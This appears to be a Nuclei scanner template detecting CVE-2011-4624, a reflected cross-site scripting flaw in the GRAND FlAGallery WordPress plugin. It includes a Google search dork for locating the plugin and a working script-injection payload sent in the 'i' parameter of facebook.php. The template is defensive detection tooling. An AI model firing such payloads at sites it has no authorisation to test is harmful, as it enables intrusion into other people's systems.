id: CVE-2011-4624

info:
  name: GRAND FlAGallery 1.57 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4624
    - http://www.openwall.com/lists/oss-security/2011/12/23/2
    - http://plugins.trac.wordpress.org/changeset/469785
    - http://wordpress.org/extend/plugins/flash-album-gallery/changelog/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4624
    cwe-id: CWE-79
    epss-score: 0.05988
    epss-percentile: 0.90288
    cpe: cpe:2.3:a:codeasily:grand_flagallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codeasily
    product: "grand_flagallery"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/flash-album-gallery\""
  tags: cve,cve2011,wordpress,xss,wp-plugin,codeasily
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Grand Flagallery'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022076726c5c723e115b1340e7659fd02328362735744781b4724208a294e0db13ee022003d47e29acd5696431a3ce746f039c1876cf436351f84df5fc7f474c1538eb56:922c64590222798bb761d5b6d8e72950